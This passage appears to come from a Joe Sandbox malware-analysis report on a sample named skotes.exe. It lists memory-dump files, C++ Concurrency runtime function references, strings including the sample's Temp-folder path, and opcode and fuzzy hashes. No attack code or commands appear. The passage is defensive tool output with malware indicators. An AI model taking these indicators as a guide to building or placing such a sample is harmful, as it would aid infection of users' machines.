Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 005D8702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 005D8734
List.LIBCMT ref: 005D87B7
List.LIBCMT ref: 005D87C6

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: 8f4aa08497506356ff27ab7c4a9e13dcf135de7d584c0b626f4dc6c228954828
Instruction ID: db18231a9afaeebecd70e0563703a4f605f18c7e56177bb2fe51e6c89c0048a5
Opcode Fuzzy Hash: 8f4aa08497506356ff27ab7c4a9e13dcf135de7d584c0b626f4dc6c228954828
Instruction Fuzzy Hash: AC314332901256DFCB24EFA8D585AEDBBB1FF44718F24006FD40167752CB32A904CB90

Function 005E182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 005E18A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 005E18EB

Strings

pContext, xrefs: 005E189C

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 42efd6e37d2ae92b2e612227a7e9eccf709cc45395a87cf4e5e6bcf2aba7cca5
Instruction ID: ec234ae7e1cc3094d8fa29a1dab0f9ca6ce9192402a02d5c27bec23db63ca953
Opcode Fuzzy Hash: 42efd6e37d2ae92b2e612227a7e9eccf709cc45395a87cf4e5e6bcf2aba7cca5
Instruction Fuzzy Hash: 9F213E31B04A559BCB1CA76AD859ABD7BA6BFD4334F04051AE442872D1CF74EC41CB98

Function 005EDFE3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 005EDFE8
6^, xrefs: 005EE034

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: 6^$C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
API String ID: 0-656236847
Opcode ID: 5a605d25df4a56455b965ed3f252ec9613482dc9eda559d070ade150a528dffd
Instruction ID: 8894c679a7b2c2391da1314e4ce5f59cd297d450e06c30490166d0aa23ee6e48
Opcode Fuzzy Hash: 5a605d25df4a56455b965ed3f252ec9613482dc9eda559d070ade150a528dffd
Instruction Fuzzy Hash: E621C87161428A6FEB386F679C8AD6B7FADFF443647104515F9A887152E760EC004660

Function 005DAE65 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

List.LIBCONCRT ref: 005DAEEA
std::invalid_argument::invalid_argument.LIBCONCRT ref: 005DAF0F
Concurrency::details::FreeVirtualProcessorRoot::FreeVirtualProcessorRoot.LIBCONCRT ref: 005DAF4E

Strings

pExecutionResource, xrefs: 005DAF07

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: FreeProcessorVirtual$Concurrency::details::ListRootRoot::std::invalid_argument::invalid_argument
String ID: pExecutionResource
API String ID: 1772865662-359481074
Opcode ID: 3a87eb1393b578b70e35236ea99dfbd80c55118e9b48caf5d9d8c74b517af912
Instruction ID: 01174e16c0b227144410d322950d67146b276ac6dd56d0d0d2791c3282236642
Opcode Fuzzy Hash: 3a87eb1393b578b70e35236ea99dfbd80c55118e9b48caf5d9d8c74b517af912
Instruction Fuzzy Hash: 7921BB756402069FDB08EF94C845BAE7BB5BF84300F15442DE505AB381DB74DE41CB95

Function 005D4EA2 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 005D4F24
Concurrency::details::CacheLocalScheduleGroupSegment::CacheLocalScheduleGroupSegment.LIBCONCRT ref: 005D4F66

Strings

ppVirtualProcessorRoots, xrefs: 005D4F1C
count, xrefs: 005D4EBA

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
